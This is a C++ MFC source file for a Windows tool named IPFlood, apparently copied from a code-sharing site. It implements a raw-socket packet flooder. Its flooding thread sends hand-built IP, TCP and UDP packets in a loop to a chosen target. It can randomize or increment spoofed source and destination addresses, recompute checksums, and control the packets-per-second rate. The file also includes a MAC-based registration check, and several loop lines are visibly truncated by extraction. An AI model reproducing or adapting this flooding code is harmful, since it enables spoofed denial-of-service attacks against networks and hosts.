www.pudn.com > IPFlood.rar > IPFloodDlg.cpp


// IPFloodDlg.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "IPFlood.h" 
#include "IPFloodDlg.h" 
#include  
#include  
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
BOOL ExitNow=false; 
UINT ThreadCount; 
CRITICAL_SECTION GlobalCriticalSetion; 
///////////////////////////////////////////////////////////////////////////// 
// CAboutDlg dialog used for App About 
 
class CAboutDlg : public CDialog 
{ 
public: 
	CAboutDlg(); 
	virtual BOOL PreTranslateMessage(MSG* pMsg); 
// Dialog Data 
	//{{AFX_DATA(CAboutDlg) 
	enum { IDD = IDD_ABOUTBOX }; 
	//}}AFX_DATA 
 
	// ClassWizard generated virtual function overrides 
	//{{AFX_VIRTUAL(CAboutDlg) 
	protected: 
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support 
	//}}AFX_VIRTUAL 
 
// Implementation 
protected: 
	CToolTipCtrl	m_tooltip; 
	//{{AFX_MSG(CAboutDlg) 
	afx_msg void OnReportme(); 
	virtual BOOL OnInitDialog(); 
	//}}AFX_MSG 
	DECLARE_MESSAGE_MAP() 
}; 
 
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) 
{ 
	//{{AFX_DATA_INIT(CAboutDlg) 
	//}}AFX_DATA_INIT 
} 
 
void CAboutDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CAboutDlg) 
	//}}AFX_DATA_MAP 
} 
 
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) 
	//{{AFX_MSG_MAP(CAboutDlg) 
	ON_BN_CLICKED(IDC_REPORTME, OnReportme) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
BOOL CAboutDlg::OnInitDialog()  
{ 
	CDialog::OnInitDialog(); 
	 
	// TODO: Add extra initialization here 
	m_tooltip.Create (this); 
	m_tooltip.Activate (TRUE); 
	m_tooltip.AddTool ((CWnd*)GetDlgItem(IDC_REPORTME),"报告程序错误/提出改进意见/获取注册码"); 
	m_tooltip.AddTool ((CWnd*)GetDlgItem(IDOK),"知道了......"); 
	m_tooltip.AddTool ((CWnd*)GetDlgItem(IDC_LOGO),"申请注册码请将本机MAC地址发送到chenzyb@digitalchina.com"); 
	return TRUE;  // return TRUE unless you set the focus to a control 
	              // EXCEPTION: OCX Property Pages should return FALSE 
} 
 
void CAboutDlg::OnReportme()  
{ 
	// TODO: Add your control notification handler code here 
	ShellExecute(NULL,"open","mailto:chenzyb@digitalchina.com?subject={IPFlood 错误报告/改进建议/申请注册码}",NULL,NULL,SW_MAXIMIZE ); 
} 
 
BOOL CAboutDlg::PreTranslateMessage(MSG* pMsg) 
{ 
	// CG: The following block was added by the ToolTips component. 
	{ 
		// Let the ToolTip process this message. 
		m_tooltip.RelayEvent(pMsg); 
	} 
	return CDialog::PreTranslateMessage(pMsg);	// CG: This was added by the ToolTips component. 
} 
///////////////////////////////////////////////////////////////////////////// 
// CIPFloodDlg dialog 
 
CIPFloodDlg::CIPFloodDlg(CWnd* pParent /*=NULL*/) 
	: CDialog(CIPFloodDlg::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CIPFloodDlg) 
	//}}AFX_DATA_INIT 
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32 
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); 
} 
 
void CIPFloodDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CIPFloodDlg) 
	DDX_Control(pDX, IDC_TASKLIST, m_TaskList); 
	//}}AFX_DATA_MAP 
} 
 
BEGIN_MESSAGE_MAP(CIPFloodDlg, CDialog) 
	//{{AFX_MSG_MAP(CIPFloodDlg) 
	ON_WM_SYSCOMMAND() 
	ON_WM_PAINT() 
	ON_WM_QUERYDRAGICON() 
	ON_COMMAND(ID_TRAYADD, OnTrayadd) 
	ON_COMMAND(ID_TRAYSHOW, OnTrayshow) 
	ON_COMMAND(ID_TRAYEXIT, OnTrayexit) 
	ON_WM_TIMER() 
	ON_NOTIFY(NM_RCLICK, IDC_TASKLIST, OnRclickTasklist) 
	ON_COMMAND(ID_TASKLISTADDTASK, OnTasklistaddtask) 
	ON_COMMAND(ID_TASKLISTDELTASK, OnTasklistdeltask) 
	ON_COMMAND(ID_TASKLISTSTARTTASK, OnTaskliststarttask) 
	ON_COMMAND(ID_TASKLISTSTOPTASK, OnTaskliststoptask) 
	ON_COMMAND(ID_TASKLISTABOUT, OnTasklistabout) 
	ON_COMMAND(ID_TASKLISTQUIT, OnTasklistquit) 
	ON_COMMAND(ID_TASKLISTREADME, OnTasklistreadme) 
	ON_COMMAND(ID_TRAYREADME, OnTrayreadme) 
	ON_COMMAND(ID_TRAYABOUT, OnTrayabout) 
	ON_MESSAGE(WM_SHOWTASK,onShowTask) 
	ON_COMMAND(ID_TASKLISTTRAY, OnTasklisttray) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CIPFloodDlg message handlers 
 
BOOL MyTaskBarDeleteIcon(HWND hwnd, UINT uID)  
{  
	BOOL res;  
	NOTIFYICONDATA tnid;  
	tnid.cbSize = sizeof(NOTIFYICONDATA);  
	tnid.hWnd = hwnd; 
	tnid.uID = uID;  
	res = Shell_NotifyIcon(NIM_DELETE, &tnid);  
	return res;  
} 
 
///////////// 
BOOL CIPFloodDlg::OnInitDialog() 
{ 
	CDialog::OnInitDialog(); 
	// Add "About..." menu item to system menu. 
	// IDM_ABOUTBOX must be in the system command range. 
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); 
	ASSERT(IDM_ABOUTBOX < 0xF000); 
 
	CMenu* pSysMenu = GetSystemMenu(FALSE); 
	if (pSysMenu != NULL) 
	{ 
		CString strAboutMenu; 
		strAboutMenu.LoadString(IDS_ABOUTBOX); 
		if (!strAboutMenu.IsEmpty()) 
		{ 
			pSysMenu->AppendMenu(MF_SEPARATOR); 
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); 
		} 
	} 
 
	// Set the icon for this dialog.  The framework does this automatically 
	//  when the application's main window is not a dialog 
	SetIcon(m_hIcon, TRUE);			// Set big icon 
	SetIcon(m_hIcon, FALSE);		// Set small icon 
/////////////////////////////////////////////////////////////////////// 
	WSADATA WSAData;  
	if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)  
	{  
		AfxMessageBox("错误: 操作系统不支持winsock 2.2 !");	m_RegPassed=FALSE; 
		OnCancel(); 
	}  
	m_TaskList.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); 
	LV_COLUMN lvcol; 
	lvcol.mask=LVCF_FMT|LVCF_SUBITEM|LVCF_TEXT|LVCF_WIDTH; 
	lvcol.fmt=LVCFMT_CENTER; 
	lvcol.cx=40; 
	lvcol.pszText="任务"; 
	ListView_InsertColumn(m_TaskList,0,&lvcol); 
	lvcol.cx=106; 
	lvcol.pszText="目标IP"; 
	ListView_InsertColumn(m_TaskList,1,&lvcol); 
	lvcol.cx=40; 
	lvcol.pszText="协议"; 
	ListView_InsertColumn(m_TaskList,2,&lvcol); 
	lvcol.cx=60; 
	lvcol.pszText="设置PPS"; 
	ListView_InsertColumn(m_TaskList,3,&lvcol); 
	lvcol.pszText="实际PPS"; 
	ListView_InsertColumn(m_TaskList,4,&lvcol); 
	lvcol.pszText="设定数量"; 
	ListView_InsertColumn(m_TaskList,5,&lvcol); 
	lvcol.pszText="已发数量"; 
	ListView_InsertColumn(m_TaskList,6,&lvcol); 
	lvcol.cx=106; 
	lvcol.pszText="源IP随机/固定"; 
	ListView_InsertColumn(m_TaskList,7,&lvcol); 
	lvcol.cx=60; 
	lvcol.pszText="发送失败"; 
	ListView_InsertColumn(m_TaskList,8,&lvcol); 
 
	pTaskList=NULL; 
	ThreadCount=0; 
 
	m_SetupDlg.Create (IDD_SETUPDLG,this); 
	m_SetupDlg.ShowWindow (SW_HIDE); 
	SetupDlgShow=FALSE; 
	m_RegPassed=FALSE; 
 
	InitializeCriticalSection(&GlobalCriticalSetion ); 
	InitializeCriticalSection(&CSGetAdapters); 
	srand((UINT)GetTickCount()); 
 
	EnableToolTips (true); 
	m_tooltip.Create(this);
	m_tooltip.Activate(TRUE); 
	m_tooltip.SetDelayTime (500); 
	m_tooltip.AddTool ((CWnd*)GetDlgItem(IDC_TASKLIST),"任务列表,单击右键选择命令"); 
 
	SetTimer(1,1000,NULL); 
 
	return TRUE;  // return TRUE  unless you set the focus to a control 
} 
 
void CIPFloodDlg::OnSysCommand(UINT nID, LPARAM lParam) 
{ 
	if ((nID & 0xFFF0) == IDM_ABOUTBOX) 
	{ 
		CAboutDlg dlgAbout; 
		dlgAbout.DoModal(); 
	} 
	else if ((nID &0xFFF0) == SC_MINIMIZE ) 
	{ 
		nid.cbSize=(DWORD)sizeof(NOTIFYICONDATA); 
		nid.hWnd=this->m_hWnd; 
		nid.uID=IDR_MAINFRAME; 
		nid.uFlags=NIF_ICON|NIF_MESSAGE|NIF_TIP ; 
		nid.uCallbackMessage=WM_SHOWTASK; 
		nid.hIcon=LoadIcon(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDR_MAINFRAME)); 
		strcpy(nid.szTip,"IPFlood by Hellis"); 
		Shell_NotifyIcon(NIM_ADD,&nid); 
		ShowWindow(SW_HIDE); 
	}else if((nID & 0xFFF0) == SC_CLOSE) 
	{ 
		OnTasklistquit(); 
	}else 
	{ 
		CDialog::OnSysCommand(nID, lParam); 
	} 
} 
 
// If you add a minimize button to your dialog, you will need the code below 
//  to draw the icon.  For MFC applications using the document/view model, 
//  this is automatically done for you by the framework. 
 
void CIPFloodDlg::OnPaint()  
{ 
	if (IsIconic()) 
	{ 
		CPaintDC dc(this); // device context for painting 
		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); 
		// Center icon in client rectangle 
		int cxIcon = GetSystemMetrics(SM_CXICON); 
		int cyIcon = GetSystemMetrics(SM_CYICON); 
		CRect rect; 
		GetClientRect(&rect); 
		int x = (rect.Width() - cxIcon + 1) / 2; 
		int y = (rect.Height() - cyIcon + 1) / 2; 
		// Draw the icon 
		dc.DrawIcon(x, y, m_hIcon); 
	} 
	else 
	{	CDialog::OnPaint();		} 
} 
 
// The system calls this to obtain the cursor to display while the user drags 
//  the minimized window. 
HCURSOR CIPFloodDlg::OnQueryDragIcon() 
{ 
	return (HCURSOR) m_hIcon; 
} 
 
//////////////////////////////////////////////////// 
LRESULT CIPFloodDlg::onShowTask(WPARAM wParam,LPARAM lParam) 
{ 
	if(wParam!=IDR_MAINFRAME) 
		return 1; 
	switch(lParam) 
	{ 
		case WM_RBUTTONUP: 
			{ 
				LPPOINT lpoint=new tagPOINT; 
				::GetCursorPos(lpoint); 
				CMenu menu,*pSubMenu; 
				menu.LoadMenu (IDR_POPUP); 
				pSubMenu = menu.GetSubMenu(0); 
				pSubMenu->TrackPopupMenu(TPM_LEFTALIGN,lpoint->x,lpoint->y,this); 
				HMENU hmenu=menu.Detach(); 
				DestroyMenu(hmenu); 
				delete lpoint; 
			} 
			break; 
		case WM_LBUTTONUP: 
			this->ShowWindow(SW_SHOW); 
			MyTaskBarDeleteIcon(m_hWnd,IDR_MAINFRAME); 
			SetForegroundWindow(); 
			break; 
	} 
	return 0; 
} 
void CIPFloodDlg::OnTasklisttray()  
{ 
	OnSysCommand(SC_MINIMIZE,NULL); 
} 
void CIPFloodDlg::OnTrayadd()  
{ 
	m_SetupDlg.CenterWindow (NULL); 
	m_SetupDlg.ShowWindow (SW_SHOW); 
} 
 
void CIPFloodDlg::OnTrayshow() 
{ 
	onShowTask(IDR_MAINFRAME,WM_LBUTTONUP); 
} 
 
void CIPFloodDlg::OnTrayexit()  
{ 
	OnTasklistquit(); 
} 
void CIPFloodDlg::OnTrayreadme()  
{ 
	OnTasklistreadme(); 
} 
 
void CIPFloodDlg::OnTrayabout()  
{ 
	OnTasklistabout(); 
} 
 
USHORT checksum(USHORT *buffer, int size)  
{  
	unsigned long cksum=0;  
	while(size >1)  
	{ 	cksum+=*buffer++; 
		size -=sizeof(USHORT); 
	}  
	if(size )  
	{ cksum += *(UCHAR*)buffer; }  
	cksum = (cksum >> 16) + (cksum & 0xffff);  
	cksum += (cksum >>16);  
	return (USHORT)(~cksum);  
}  
 
void DumpPacket(char *data,int len) 
{ 
	char *p,pp[8]; 
	int i; 
	CFile f; 
	f.Open ("PacketLog.txt", CFile::modeCreate|CFile::modeWrite,NULL); 
	for(p=data,i=0;im_Number ; 
	DWORD t1=0,t2=0,sent1=0,sent2=0,myPPS=0; 
	UINT RandIP; 
	USHORT	chksum=0; 
	char *data=(char *)malloc(Param->m_IpLen +1); 
	if(!data)	goto __myquit; 
	memset(data,0,Param->m_IpLen +1); 
 
	if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)) \ 
		==INVALID_SOCKET)  
	{ 		goto __myquit;  }  
	flag=true;  
	if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag)) \ 
		==SOCKET_ERROR)  
	{ 	goto __myquit; 	}  
 
	nTimeOver=1000; 
	if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))\ 
		==SOCKET_ERROR)  
	{	goto __myquit; 	}  
 
	addr_in.sin_family=AF_INET;  
	addr_in.sin_addr.S_un.S_addr=Param->m_DestIP;  
 
	if(MakePacket(Param,data)==-1) 
	{	goto __myquit; 	}  
 
	t1=GetTickCount(); 
	iprand=Param->m_RandomSrcIp || Param->m_RandomDestIp; 
	ipinc=Param->m_IncDestIP || Param->m_IncSrcIP ; 
	srcchange=Param->m_RandomSrcIp || Param->m_IncSrcIP; 
	destchange=Param->m_RandomDestIp || Param->m_IncDestIP; 
	while(flag) 
	{	EnterCriticalSection(&(Param->m_CriticalSetion)); 
		EnterCriticalSection(&GlobalCriticalSetion); 
		count==0?(flag=(!ExitNow && Param->m_State)): \ 
			(flag=(!ExitNow && count-->=2 && Param->m_State)); 
		LeaveCriticalSection(&GlobalCriticalSetion); 
		LeaveCriticalSection(&(Param->m_CriticalSetion)); 
		if(iprand || ipinc)//dynamic ip,update checksums 
		{	if(srcchange) 
			{	Param->m_IncSrcIP?RandIP=RandomIP(0):RandIP=RandomIP(1); 
				memcpy(data+12,&RandIP ,sizeof(UINT));//	Param->m_SrcIP =RandIP; 
			} 
			if(destchange) 
			{	Param->m_IncDestIP?RandIP=RandomIP(0):RandIP=RandomIP(1); 
				memcpy(data+16,&RandIP ,sizeof(UINT));//	Param->m_DestIP=RandIP; 
			} 
			memset((void*)(data+10),0,sizeof USHORT);//update ip checksum 
			chksum=htons(checksum((USHORT *)data,sizeof IPHDR)); 
			memcpy((void*)(data+10),&chksum,sizeof USHORT); 
			Param->m_Ipchksum =chksum; 
			switch(Param->m_IpProtocol ) 
			{ 
			case IPPROTO_TCP: 
				memset(data+8,0,sizeof BYTE);//ttl 
				memset((void*)(data+10),0,sizeof USHORT);//tlen 
				chksum=htons(Param->m_IpLen -sizeof IPHDR); 
				memcpy(data+10,&chksum,sizeof USHORT); 
				memset(data+36,0,sizeof USHORT); 
				memcpy(&RandIP,data+24,sizeof UINT);//update seq 
				RandIP=ntohl(RandIP);RandIP++;RandIP=htonl(RandIP); 
				memcpy(data+24,&RandIP,sizeof UINT); 
				memcpy(&RandIP,data+28,sizeof UINT);//update ack 
				RandIP=ntohl(RandIP);RandIP++;RandIP=htonl(RandIP); 
				memcpy(data+28,&RandIP,sizeof UINT); 
				chksum=checksum((USHORT*)(data+8),Param->m_IpLen -sizeof IPHDR+sizeof PSHDR); 
				memcpy((void*)(data+36),&chksum,sizeof USHORT); 
				memcpy((void*)(data+10),&(Param->m_Ipchksum ),sizeof USHORT); 
				memcpy((void*)(data+8),&(Param->m_IpTTL ),sizeof BYTE); 
				break; 
			case IPPROTO_UDP://need new checksum hum~~~~ 
				memset(data+8,0,sizeof BYTE); 
				memset((void*)(data+10),0,sizeof USHORT);memcpy(data+10,data+24,sizeof USHORT); 
				memset(data+26,0,sizeof USHORT); 
				chksum=checksum((USHORT*)(data+8),Param->m_IpLen -sizeof IPHDR+sizeof PSHDR); 
				memcpy((void*)(data+26),&chksum,sizeof USHORT); 
				memcpy((void*)(data+10),&(Param->m_Ipchksum ),sizeof USHORT); 
				memcpy((void*)(data+8),&(Param->m_IpTTL ),sizeof BYTE); 
				break; 
			default: 
				break; 
			} 
		}//DumpPacket(data,(sizeof IPHDR)+8); 
		ret=sendto(sock,data,Param->m_IpLen,0,(struct sockaddr*)&addr_in,sizeof(addr_in)); 
		if(ret == SOCKET_ERROR)	Param->m_SendErrors ++; 
		sent1++; 
		EnterCriticalSection(&(Param->m_CriticalSetion)); 
		Param->m_sent++; 
		LeaveCriticalSection(&(Param->m_CriticalSetion)); 
		t2=GetTickCount(); 
		if(Param->m_PPS==0 && t2-t1>=1000) //no speed limit mode and time exceed,record it. 
		{	myPPS=sent1-sent2; 
			EnterCriticalSection(&(Param->m_CriticalSetion)); 
			Param->m_MyPPS =myPPS; 
			LeaveCriticalSection(&(Param->m_CriticalSetion)); 
			sent1=0;sent2=0; 
			t1=GetTickCount();t2=t1; 
		}else if(Param->m_PPS!=0 ) // speed limit mode 
		{	myPPS=sent1-sent2; 
			if((myPPS>=Param->m_PPS ) || (myPPS<=Param->m_PPS && t2-t1>=1000)) 
			{ //sent PPS,whatever t2-t1 is,record it;speed not reched and time exceed,record it. 
				EnterCriticalSection(&(Param->m_CriticalSetion)); 
				Param->m_MyPPS =myPPS; 
				LeaveCriticalSection(&(Param->m_CriticalSetion)); 
				t2-t1>=1000?Sleep(0):Sleep(1000-(t2-t1)); 
				sent2=0;sent1=0;t1=GetTickCount();t2=t1; 
			} 
		}//t2-t1<1000,speed limit?go on: 
	}//send another 
 
__myquit: 
	EnterCriticalSection(&(Param->m_CriticalSetion)); 
	ThreadCount--;Param->m_State =false; 
	LeaveCriticalSection(&(Param->m_CriticalSetion)); 
 
	if(data)	free(data); 
	return 0; 
} 
 
void CIPFloodDlg::OnTaskliststarttask()  
{ 
	int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); 
	if(iItem>=0) 
	{ 
		int i=ListView_GetSelectionMark(m_TaskList); 
		char sz[16]; 
		ListView_GetItemText(m_TaskList,i,0,sz,sizeof sz); 
		i=atoi(sz); 
		pTaskItem tmp=pTaskList; 
		while(tmp && (UINT)i!=tmp->m_TaskID ) 
			tmp=tmp->next ; 
		if(!tmp) 
		{	AfxMessageBox("错误: 发生严重错误!");return;} 
		sprintf(sz,">> %d",i); 
		ListView_SetItemText(m_TaskList.m_hWnd,iItem,0,sz); 
		tmp->m_State =true; 
		EnterCriticalSection(&GlobalCriticalSetion); 
		ThreadCount++; 
		LeaveCriticalSection(&GlobalCriticalSetion); 
		AfxBeginThread(StartFlood,(LPVOID)tmp,THREAD_PRIORITY_NORMAL,0,0,NULL); 
	} 
	else 
		AfxMessageBox("请先选择需要开始的任务!"); 
} 
 
void CIPFloodDlg::OnTasklistaddtask()  
{ 
	RECT rc,rc1; 
	char buff[MAXLEN]; 
	this->GetWindowRect (&rc); 
	m_SetupDlg.GetWindowRect (&rc1); 
	m_SetupDlg.MoveWindow (rc.left,rc.top ,rc1.right -rc1.left ,rc1.bottom -rc1.top ,false); 
	SetupDlgShow=TRUE; 
	m_SetupDlg.ShowWindow (SW_SHOW); 
	memset(buff,0,sizeof buff); 
	strcat(buff,"IPFlood -- Hellis Studio 2003 From 【" ); 
	strcat(buff,Adapters[0].desc ); 
	strcat(buff," 】"); 
	::SetWindowText (m_hWnd,buff); 
} 
 
void CIPFloodDlg::OnTasklistquit()  
{ 
	UINT	btn=0; 
	m_RegPassed?btn=MB_OKCANCEL:btn=MB_OK; 
	int ret=this->MessageBox ("退出 IPFlood By Hellis Studio ?","退出 IPFlood",btn); 
	if(ret==2 && m_RegPassed) 
		return; 
	EnterCriticalSection(&GlobalCriticalSetion); 
	ExitNow=true; 
	LeaveCriticalSection(&GlobalCriticalSetion); 
 
	UINT i=1; 
	pTaskItem tmp=pTaskList; 
	while(tmp) 
	{ 
		EnterCriticalSection(&(tmp->m_CriticalSetion)); 
		tmp->m_State =false; 
		LeaveCriticalSection(&(tmp->m_CriticalSetion)); 
		 
		tmp=tmp->next ; 
	} 
	while(i>0) 
	{ 
		EnterCriticalSection(&GlobalCriticalSetion); 
		i=ThreadCount; 
		LeaveCriticalSection(&GlobalCriticalSetion); 
		Sleep(500); 
	} 
	pTaskItem tmp1,tmp2; 
	tmp1=tmp2=pTaskList; 
 
	while(tmp2) 
	{ 
		tmp1=tmp2->next ; 
		delete tmp2; 
		tmp2=tmp1; 
	} 
	MyTaskBarDeleteIcon(m_hWnd,IDR_MAINFRAME); 
	WSACleanup();  
	KillTimer(1); 
	CDialog::OnCancel(); 
} 
 
void CIPFloodDlg::OnTasklistdeltask()  
{ 
	int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); 
	int i=-1; char sz[8]; 
	pTaskItem tmp1,tmp2; 
	if(iItem>=0) 
	{ 
		i=ListView_GetSelectionMark(m_TaskList); 
		ListView_GetItemText(m_TaskList,i,0,sz,sizeof sz); 
		i=atoi(sz); 
		tmp1=pTaskList;tmp2=tmp1; 
		while(tmp1) 
		{ 
			if((UINT)i==tmp1->m_TaskID ) 
			{ 
				if(tmp1==pTaskList) 
				{ // tmp1 located at list head 
					pTaskList=tmp1->next ; 
				}else if(tmp1->next ) 
				{ // tmp1 located at list middle,tmp2=tmp1->forward; 
					tmp2->next =tmp1->next ; 
				}else  
				  // tmp1 located at list end,tmp2 is the list end now. 
					tmp2->next =NULL; 
				 
				delete tmp1; 
				break; 
			} 
			tmp2=tmp1; 
			tmp1=tmp1->next ; 
		} 
		ListView_DeleteItem(m_TaskList,iItem); 
	} 
} 
 
void CIPFloodDlg::OnTaskliststoptask()  
{ 
	int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); 
	int i=-1; char sz[8]; 
	pTaskItem tmp1; 
	if(iItem>=0) 
	{ 
		i=ListView_GetSelectionMark(m_TaskList); 
		ListView_GetItemText(m_TaskList,i,0,sz,sizeof sz); 
		i=atoi(sz+3); 
		tmp1=pTaskList; 
		while(tmp1) 
		{ 
			if((UINT)i==tmp1->m_TaskID ) 
			{	EnterCriticalSection(&(tmp1->m_CriticalSetion)); 
				tmp1->m_State =false; 
				LeaveCriticalSection(&(tmp1->m_CriticalSetion)); 
				sprintf(sz,"%d",i); 
				ListView_SetItemText(m_TaskList.m_hWnd,iItem,0,sz); 
				ListView_SetItemText(m_TaskList.m_hWnd,iItem,4,"任务停止"); 
				break; 
			} 
			tmp1=tmp1->next ; 
		} 
	} 
} 
 
void CIPFloodDlg::OnOK() 
{ 
	this->OnTaskliststarttask (); 
} 
void CIPFloodDlg::OnCancel() 
{ 
	this->OnTaskliststoptask (); 
} 
 
void CIPFloodDlg::OnTasklistabout()  
{ 
	OnSysCommand(IDM_ABOUTBOX,NULL); 
} 
void CIPFloodDlg::OnTasklistreadme()  
{ 
	ShellExecute(NULL ,NULL,"使用说明.htm",NULL,NULL,SW_MAXIMIZE ); 
} 
 
////////Get Ethernet Adapters List 
BOOL CIPFloodDlg::GetAdapters() 
{ 
	HKEY				AdapterList,Adapter; 
	INT 				i=0,j=0,Result; 
	ULONG				len; 
	DWORD				lpT=REG_SZ; 
	CHAR				AdapterName[8],buff[MAXLEN],dev[MAXLEN+5],*q; 
	DWORD				BytesReturned=0; 
	HANDLE				AdapterFile; 
	PACKET_OID_DATA		OidData ; 
 
	for(i=0;i<10;i++) 
	{ 
		memset(Adapters[i].mac ,0,sizeof Adapters[i].mac); 
		memset(Adapters[i].desc,0,sizeof Adapters[i].desc); 
	} 
	LPCTSTR AdapterListRegPath="Software\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards"; 
 
	Result=RegOpenKeyEx(HKEY_LOCAL_MACHINE,AdapterListRegPath,0,KEY_READ,&AdapterList); 
	if ( Result != ERROR_SUCCESS ) 
		return FALSE; 
	i=0; 
	while((Result=RegEnumKey(AdapterList,i,AdapterName,sizeof(AdapterName)))==ERROR_SUCCESS) 
	{ 
		Result=RegOpenKeyEx(AdapterList,AdapterName,0,KEY_READ,&Adapter); 
		if(Result!=ERROR_SUCCESS)	 
		{	 
			i++; continue; 
		} 
		len=sizeof buff; 
		memset(buff,0,len); 
		Result=RegQueryValueEx(Adapter,"ServiceName",NULL,&lpT,(UCHAR*)buff,&len); 
		if(Result!=ERROR_SUCCESS) 
		{	 
			RegCloseKey(Adapter); i++; continue; 
		} 
		memset(dev,0,MAXLEN); 
		wsprintf(dev,TEXT("\\\\.\\%s"),buff); 
		AdapterFile=CreateFile(dev,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 
		if(AdapterFile== INVALID_HANDLE_VALUE) 
		{ 
			RegCloseKey(Adapter);	i++; continue; 
		} 
 
		OidData.Oid = OID_802_3_PERMANENT_ADDRESS; 
		OidData.Length =MAXLEN; 
		Result=DeviceIoControl(AdapterFile,IOCTL_NDIS_QUERY_GLOBAL_STATS, 
                          &OidData,sizeof(PACKET_OID_DATA)-1+OidData.Length, 
						  &OidData,sizeof(PACKET_OID_DATA)-1+OidData.Length, 
						  &BytesReturned,NULL); 
		CloseHandle(AdapterFile); 
		if(Result==0) 
		{ 
			RegCloseKey(Adapter);	i++; continue; 
		} 
		//Query MAC OK! 
		q=(char*)&OidData; 
		memset(Adapters[j].mac,0,sizeof Adapters[j].mac); 
		sprintf(Adapters[j].mac,"%02x-%02x-%02x-%02x-%02x-%02x",\ 
			(BYTE)(*q),(BYTE)(*(q+1)),(BYTE)(*(q+2)),\ 
			(BYTE)(*(q+3)),(BYTE)(*(q+4)),(BYTE)(*(q+5))); 
		for(len=0;lenGetParent (); 
	mac=(char*)malloc(MAXLEN);code=(char*)malloc(MAXLEN); 
	if(!mac || !code ) 
	{ 
		m_RegPassed =FALSE;			goto __ExitCheckReg; 
	} 
	EnterCriticalSection(&CSGetAdapters); 
	if(!GetAdapters()) 
	{ 
		m_RegPassed =FALSE; 
		goto __ExitCheckReg; 
	} 
	memset(mac,0,MAXLEN);memset(code,0,MAXLEN); 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SoftWare\\IPFlood",0,KEY_READ,&SWKey)==ERROR_SUCCESS) 
	{ 
		mlen=MAXLEN-1;clen=MAXLEN-1; 
		memset(code,0,clen);memset(mac,0,mlen); 
		if( RegQueryValueEx(SWKey,"Mac",NULL,&lpT,(UCHAR*)mac,&mlen)!=ERROR_SUCCESS || \ 
			RegQueryValueEx(SWKey,"Code",NULL,&lpT,(UCHAR*)code,&clen)!=ERROR_SUCCESS) 
		{ 
			AfxMessageBox("您的IPFlood还没有注册\n请将您用于注册的网卡MAC地址发邮件到\nchenzyb@digitalchina.com\n以获得注册码"); 
			m_RegPassed =FALSE;		goto __ExitCheckReg;; 
		} 
		while(strlen(Adapters[i].desc)>0 && strncmp(mac,Adapters[i].mac ,strlen(mac))) 
		{ 
			i++; 
		} 
		if(strlen(Adapters[i].desc)<=0) 
		{	AfxMessageBox("经证实:\n本机没有此注册MAC的网卡\n或已注册该MAC的网卡被\"禁用\"\n请重新注册或\"启用\"该网卡!"); 
			m_RegPassed =FALSE;	goto __ExitCheckReg; 
		} 
		mlen=strlen(mac); 
		md5_hmac(mac,mlen,hmackey,12,digest); 
		MD5Print(digest,(char*)tmp); 
		if(strstr((char*)code,(char*)tmp) && strstr((char*)tmp,(char*)code)) 
		{	m_RegPassed =TRUE;goto __ExitCheckReg;;	} 
		else 
		{	m_RegPassed =FALSE; 
			AfxMessageBox("该MAC地址对应的注册码错误,请重新注册!"); 
		} 
	} 
	else 
	{	m_RegPassed =FALSE;SWKey=NULL; 
		AfxMessageBox("您的IPFlood还没有注册\n请将您用于注册的网卡MAC地址发邮件到\nchenzyb@digitalchina.com\n以获得注册码"); 
	} 
__ExitCheckReg: 
	LeaveCriticalSection(&CSGetAdapters); 
	if(SWKey) RegCloseKey(SWKey); 
	if(mac)	free(mac); 
	if(code) free(code); 
	return m_RegPassed; 
} 
 
/////Update TaskList and Check Register Code :-) 
void CIPFloodDlg::OnTimer(UINT nIDEvent)  
{ 
	pTaskItem tmp=pTaskList; 
	char sz[16],tId[16]; 
	BOOL bRunning; 
	int ret=ListView_GetItemCount(m_TaskList.m_hWnd ),iItem,iCount; 
	if(ret==0) 
		goto __noItem; 
	while(tmp) 
	{ 
		EnterCriticalSection(&(tmp->m_CriticalSetion)); 
		bRunning=tmp->m_State; 
		LeaveCriticalSection(&(tmp->m_CriticalSetion)); 
		if(bRunning ) 
		{	//running tasks 
			iCount=ListView_GetItemCount(m_TaskList.m_hWnd); 
			sprintf(tId,"%d",tmp->m_TaskID); 
			for(iItem=0;iItem>")) 
					strcpy(sz,sz+3); 
				else 
					continue; 
				if(!strcmp(sz,tId)) 
					break; 
			} 
			if(iItem==iCount)  
				break; 
			EnterCriticalSection(&(tmp->m_CriticalSetion)); 
			sprintf(sz,"%d",tmp->m_MyPPS ); 
			LeaveCriticalSection(&(tmp->m_CriticalSetion)); 
			ListView_SetItemText(m_TaskList.m_hWnd,iItem,4,sz); 
			EnterCriticalSection(&(tmp->m_CriticalSetion)); 
